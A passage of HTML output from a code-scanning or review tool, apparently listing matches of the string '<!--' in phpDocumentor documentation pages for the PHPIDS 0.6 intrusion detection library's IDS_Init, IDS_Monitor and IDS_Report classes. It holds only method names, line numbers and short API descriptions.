class='poi_content'> <pre class='snippet'><code>230- 231- 232- </div> 233:<a name="methodgetConfig" id="getConfig"><span class='match_highlight'><!--</span> --></a> 234-<div class="evenrow"> 235- 236- <div class="method-header"> 237- <span class="method-title">getConfig</span> (line <span class="line-number">220</span>) 238- </div> 239- 240: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 241-<p class="short-description">Returns the config array</p> 242- <ul class="tags"> 243- <li><span class="field">return:</span> the config array</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Init.html</span>:<span class='line_number'>258</span> <span class='match_count'>(35/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>255- 256- 257- </div> 258:<a name="methodgetConfigPath" id="getConfigPath"><span class='match_highlight'><!--</span> --></a> 259-<div class="oddrow"> 260- 261- <div class="method-header"> 262- <span class="method-title">getConfigPath</span> (line <span class="line-number">149</span>) 263- </div> 264- 265: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 266-<p class="short-description">Returns path to configuration file</p> 267- <ul class="tags"> 268- <li><span class="field">return:</span> the config path</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Init.html</span>:<span class='line_number'>283</span> <span class='match_count'>(36/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>280- 281- 282- </div> 283:<a name="methodsetConfig" id="setConfig"><span class='match_highlight'><!--</span> --></a> 284-<div class="evenrow"> 285- 286- <div class="method-header"> 287- <span class="method-title">setConfig</span> (line <span class="line-number">178</span>) 288- </div> 289- 290: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 291-<p class="short-description">Merges new settings into the exsiting ones or overwrites them</p> 292- <ul class="tags"> 293- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Init.html</span>:<span class='line_number'>315</span> <span class='match_count'>(37/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>312- 313- 314- </div> 315:<a name="methodsetConfigPath" id="setConfigPath"><span class='match_highlight'><!--</span> --></a> 316-<div class="oddrow"> 317- 318- <div class="method-header"> 319- <span class="method-title">setConfigPath</span> (line <span class="line-number">132</span>) 320- </div> 321- 322: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 323-<p class="short-description">Sets the path to the configuration file</p> 324- <ul class="tags"> 325- <li><span class="field">throws:</span> Exception if file not found</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Init.html</span>:<span class='line_number'>345</span> <span class='match_count'>(38/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>342- 343- 344- </div> 345:<a name="method_mergeConfig" id="_mergeConfig"><span class='match_highlight'><!--</span> --></a> 346-<div class="evenrow"> 347- 348- <div class="method-header"> 349- <span class="method-title">_mergeConfig</span> (line <span class="line-number">198</span>) 350- </div> 351- 352: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 353-<p class="short-description">Merge config hashes recursivly</p> 354-<p class="description"><p>The algorithm merges configuration arrays recursively. If an element is an array in both, the values will be appended. If it is a scalar in both, the value will be replaced.</p></p> 355- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Init.html</span>:<span class='line_number'>379</span> <span class='match_count'>(39/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>376- 377- 378- </div> 379:<a name="method__clone" id="__clone"><span class='match_highlight'><!--</span> --></a> 380-<div class="oddrow"> 381- 382- <div class="method-header"> 383- <span class="method-title">__clone</span> (line <span class="line-number">103</span>) 384- </div> 385- 386: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 387-<p class="short-description">Permitting to clone this object</p> 388-<p class="description"><p>For the sake of correctness of a singleton pattern, this is necessary</p></p> 389- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Monitor.html</span>:<span class='line_number'>5</span> <span class='match_count'>(40/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs For Class IDS_Monitor</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Monitor.html</span>:<span class='line_number'>24</span> <span class='match_count'>(41/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>21- 22- </div> 23- <div class="info-box-body"> 24: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 25-<p class="short-description">Monitoring engine</p> 26-<p class="description"><p>This class represents the core of the frameworks attack detection mechanism and provides functions to scan incoming data for malicious appearing script fragments.</p></p> 27- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Monitor.html</span>:<span class='line_number'>158</span> <span class='match_count'>(42/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>155- 156- </div> 157- <div class="info-box-body"> 158: <a name="var$scanKeys" id="$scanKeys"><span class='match_highlight'><!--</span> --></A> 159-<div class="oddrow"> 160- 161- <div class="var-header"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Monitor.html</span>:<span class='line_number'>169</span> <span class='match_count'>(43/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>166- </span> 167- </div> 168- 169: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 170-<p class="short-description">Scan keys switch</p> 171-<p class="description"><p>Enabling this property will cause the monitor to scan both the key and the value of variables</p></p> 172- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Monitor.html</span>:<span class='line_number'>197</span> <span class='match_count'>(44/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>194- <div class="info-box-body"> 195- <A NAME='method_detail'></A> 196- 197:<a name="method__construct" id="__construct"><span class='match_highlight'><!--</span> --></a> 198-<div class="evenrow"> 199- 200- <div class="method-header"> 201- <span class="method-title">Constructor __construct</span> (line <span class="line-number">175</span>) 202- </div> 203- 204: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 205-<p class="short-description">Constructor</p> 206- <ul class="tags"> 207- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Monitor.html</span>:<span class='line_number'>232</span> <span class='match_count'>(45/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>229- 230- 231- </div> 232:<a name="methodaddHtml" id="addHtml"><span class='match_highlight'><!--</span> --></a> 233-<div class="oddrow"> 234- 235- <div class="method-header"> 236- <span class="method-title">addHtml</span> (line <span class="line-number">589</span>) 237- </div> 238- 239: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 240-<p class="short-description">Adds a value to the html array</p> 241- <ul class="tags"> 242- <li><span class="field">since:</span> 0.5</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Monitor.html</span>:<span class='line_number'>262</span> <span class='match_count'>(46/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>259- 260- 261- </div> 262:<a name="methodaddJson" id="addJson"><span class='match_highlight'><!--</span> --></a> 263-<div class="evenrow"> 264- 265- <div class="method-header"> 266- <span class="method-title">addJson</span> (line <span class="line-number">630</span>) 267- </div> 268- 269: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 270-<p class="short-description">Adds a value to the json array</p> 271- <ul class="tags"> 272- <li><span class="field">since:</span> 0.5.3</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Monitor.html</span>:<span class='line_number'>292</span> <span class='match_count'>(47/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>289- 290- 291- </div> 292:<a name="methodgetExceptions" id="getExceptions"><span class='match_highlight'><!--</span> --></a> 293-<div class="oddrow"> 294- 295- <div class="method-header"> 296- <span class="method-title">getExceptions</span> (line <span class="line-number">560</span>) 297- </div> 298- 299: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 300-<p class="short-description">Returns exception array</p> 301- <ul class="tags"> 302- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Monitor.html</span>:<span class='line_number'>316</span> <span class='match_count'>(48/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>313- 314- 315- </div> 316:<a name="methodgetHtml" id="getHtml"><span class='match_highlight'><!--</span> --></a> 317-<div class="evenrow"> 318- 319- <div class="method-header"> 320- <span class="method-title">getHtml</span> (line <span class="line-number">601</span>) 321- </div> 322- 323: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 324-<p class="short-description">Returns html array</p> 325- <ul class="tags"> 326- <li><span class="field">return:</span> the fields that contain allowed html</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Monitor.html</span>:<span class='line_number'>342</span> <span class='match_count'>(49/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>339- 340- 341- </div> 342:<a name="methodgetJson" id="getJson"><span class='match_highlight'><!--</span> --></a> 343-<div class="oddrow"> 344- 345- <div class="method-header"> 346- <span class="method-title">getJson</span> (line <span class="line-number">642</span>) 347- </div> 348- 349: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 350-<p class="short-description">Returns json array</p> 351- <ul class="tags"> 352- <li><span class="field">return:</span> the fields that contain json</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Monitor.html</span>:<span class='line_number'>368</span> <span class='match_count'>(50/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>365- 366- 367- </div> 368:<a name="methodgetReport" id="getReport"><span class='match_highlight'><!--</span> --></a> 369-<div class="evenrow"> 370- 371- <div class="method-header"> 372- <span class="method-title">getReport</span> (line <span class="line-number">664</span>) 373- </div> 374- 375: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 376-<p class="short-description">Returns report object providing various functions to work with detected results. Also the centrifuge data is being set as property of the report object.</p> 377- <ul class="tags"> 378- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Monitor.html</span>:<span class='line_number'>392</span> <span class='match_count'>(51/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>389- 390- 391- </div> 392:<a name="methodgetStorage" id="getStorage"><span class='match_highlight'><!--</span> --></a> 393-<div class="oddrow"> 394- 395- <div class="method-header"> 396- <span class="method-title">getStorage</span> (line <span class="line-number">652</span>) 397- </div> 398- 399: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 400-<p class="short-description">Returns storage container</p> 401- <ul class="tags"> 402- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Monitor.html</span>:<span class='line_number'>416</span> <span class='match_count'>(52/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>413- 414- 415- </div> 416:<a name="methodrun" id="run"><span class='match_highlight'><!--</span> --></a> 417-<div class="evenrow"> 418- 419- <div class="method-header"> 420- <span class="method-title">run</span> (line <span class="line-number">233</span>) 421- </div> 422- 423: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 424-<p class="short-description">Starts the scan mechanism</p> 425- <ul class="tags"> 426- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Monitor.html</span>:<span class='line_number'>440</span> <span class='match_count'>(53/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>437- 438- 439- </div> 440:<a name="methodsetExceptions" id="setExceptions"><span class='match_highlight'><!--</span> --></a> 441-<div class="oddrow"> 442- 443- <div class="method-header"> 444- <span class="method-title">setExceptions</span> (line <span class="line-number">546</span>) 445- </div> 446- 447: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 448-<p class="short-description">Sets exception array</p> 449- <ul class="tags"> 450- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Monitor.html</span>:<span class='line_number'>469</span> <span class='match_count'>(54/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>466- 467- 468- </div> 469:<a name="methodsetHtml" id="setHtml"><span class='match_highlight'><!--</span> --></a> 470-<div class="evenrow"> 471- 472- <div class="method-header"> 473- <span class="method-title">setHtml</span> (line <span class="line-number">573</span>) 474- </div> 475- 476: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 477-<p class="short-description">Sets html array</p> 478- <ul class="tags"> 479- <li><span class="field">since:</span> 0.5</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Monitor.html</span>:<span class='line_number'>499</span> <span class='match_count'>(55/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>496- 497- 498- </div> 499:<a name="methodsetJson" id="setJson"><span class='match_highlight'><!--</span> --></a> 500-<div class="oddrow"> 501- 502- <div class="method-header"> 503- <span class="method-title">setJson</span> (line <span class="line-number">614</span>) 504- </div> 505- 506: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 507-<p class="short-description">Sets json array</p> 508- <ul class="tags"> 509- <li><span class="field">since:</span> 0.5.3</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Report.html</span>:<span class='line_number'>5</span> <span class='match_count'>(56/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs For Class IDS_Report</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Report.html</span>:<span class='line_number'>29</span> <span class='match_count'>(57/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>26- <ul> 27- <li>Countable (internal interface)</li><li>IteratorAggregate (internal interface)</li> </ul> 28- </p> 29: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 30-<p class="short-description">PHPIDS report object</p> 31-<p class="description"><p>The report objects collects a number of events and thereby presents the detected results. It provides a convenient API to work with the results.</p><p>Note that this class implements Countable, IteratorAggregate and a __toString() method</p></p> 32- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Report.html</span>:<span class='line_number'>180</span> <span class='match_count'>(58/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>177- 178- </div> 179- <div class="info-box-body"> 180: <a name="var$centrifuge" id="$centrifuge"><span class='match_highlight'><!--</span> --></A> 181-<div class="oddrow"> 182- 183- <div class="var-header"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Report.html</span>:<span class='line_number'>191</span> <span class='match_count'>(59/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>188- </span> 189- </div> 190- 191: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 192-<p class="short-description">Centrifuge data</p> 193-<p class="description"><p>This variable - initiated as an empty array - carries all information about the centrifuge data if available</p></p> 194- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Report.html</span>:<span class='line_number'>203</span> <span class='match_count'>(60/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>200- 201- 202-</div> 203:<a name="var$events" id="$events"><span class='match_highlight'><!--</span> --></A> 204-<div class="evenrow"> 205- 206- <div class="var-header"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Report.html</span>:<span class='line_number'>214</span> <span class='match_count'>(61/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>211- </span> 212- </div> 213- 214: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 215-<p class="short-description">Event container</p> 216- <ul class="tags"> 217- <li><span class="field">access:</span> protected</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Report.html</span>:<span class='line_number'>225</span> <span class='match_count'>(62/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>222- 223- 224-</div> 225:<a name="var$impact" id="$impact"><span class='match_highlight'><!--</span> --></A> 226-<div class="oddrow"> 227- 228- <div class="var-header"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Report.html</span>:<span class='line_number'>236</span> <span class='match_count'>(63/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>233- </span> 234- </div> 235- 236: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 237-<p class="short-description">Impact level</p> 238-<p class="description"><p>The impact level is calculated on demand by adding the results of the event objects on IDS_Report-&gt;getImpact()</p></p> 239- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Report.html</span>:<span class='line_number'>248</span> <span class='match_count'>(64/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>245- 246- 247-</div> 248:<a name="var$tags" id="$tags"><span class='match_highlight'><!--</span> --></A> 249-<div class="evenrow"> 250- 251- <div class="var-header"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Report.html</span>:<span class='line_number'>259</span> <span class='match_count'>(65/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>256- </span> 257- </div> 258- 259: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 260-<p class="short-description">List of affected tags</p> 261-<p class="description"><p>This list of tags is collected from the collected event objects on demand when IDS_Report-&gt;getTags() is called</p></p> 262- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Report.html</span>:<span class='line_number'>287</span> <span class='match_count'>(66/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>284- <div class="info-box-body"> 285- <A NAME='method_detail'></A> 286- 287:<a name="method__construct" id="__construct"><span class='match_highlight'><!--</span> --></a> 288-<div class="oddrow"> 289- 290- <div class="method-header"> 291- <span class="method-title">Constructor __construct</span> (line <span class="line-number">100</span>) 292- </div> 293- 294: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 295-<p class="short-description">Constructor</p> 296- <ul class="tags"> 297- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Report.html</span>:<span class='line_number'>316</span> <span class='match_count'>(67/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>313- 314- 315- </div> 316:<a name="methodaddEvent" id="addEvent"><span class='match_highlight'><!--</span> --></a> 317-<div class="evenrow"> 318- 319- <div class="method-header"> 320- <span class="method-title">addEvent</span> (line <span class="line-number">116</span>) 321- </div> 322- 323: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 324-<p class="short-description">Adds an IDS_Event object to the report</p> 325- <ul class="tags"> 326- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Report.html</span>:<span class='line_number'>345</span> <span class='match_count'>(68/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>342- 343- 344- </div> 345:<a name="methodclear" id="clear"><span class='match_highlight'><!--</span> --></a> 346-<div class="oddrow"> 347- 348- <div class="method-header"> 349- <span class="method-title">clear</span> (line <span class="line-number">248</span>) 350- </div> 351- 352: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 353-<p class="short-description">Clears calculated/collected values</p> 354- <ul class="tags"> 355- <li><span class="field">access:</span> protected</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Report.html</span>:<span class='line_number'>369</span> <span class='match_count'>(69/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>366- 367- 368- </div> 369:<a name="methodcount" id="count"><span class='match_highlight'><!--</span> --></a> 370-<div class="evenrow"> 371- 372- <div class="method-header"> 373- <span class="method-title">count</span> (line <span class="line-number">214</span>) 374- </div> 375- 376: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 377-<p class="short-description">Returns total amount of events</p> 378- <ul class="tags"> 379- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Report.html</span>:<span class='line_number'>398</span> <span class='match_count'>(70/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>395- </dl> 396- 397- </div> 398:<a name="methodgetCentrifuge" id="getCentrifuge"><span class='match_highlight'><!--</span> --></a> 399-<div class="oddrow"> 400- 401- <div class="method-header"> 402- <span class="method-title">getCentrifuge</span> (line <span class="line-number">260</span>) 403- </div> 404- 405: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 406-<p class="short-description">This method returns the centrifuge property or null if not filled with data</p> 407- <ul class="tags"> 408- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Report.html</span>:<span class='line_number'>422</span> <span class='match_count'>(71/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>419- 420- 421- </div> 422:<a name="methodgetEvent" id="getEvent"><span class='match_highlight'><!--</span> --></a> 423-<div class="evenrow"> 424- 425- <div class="method-header"> 426- <span 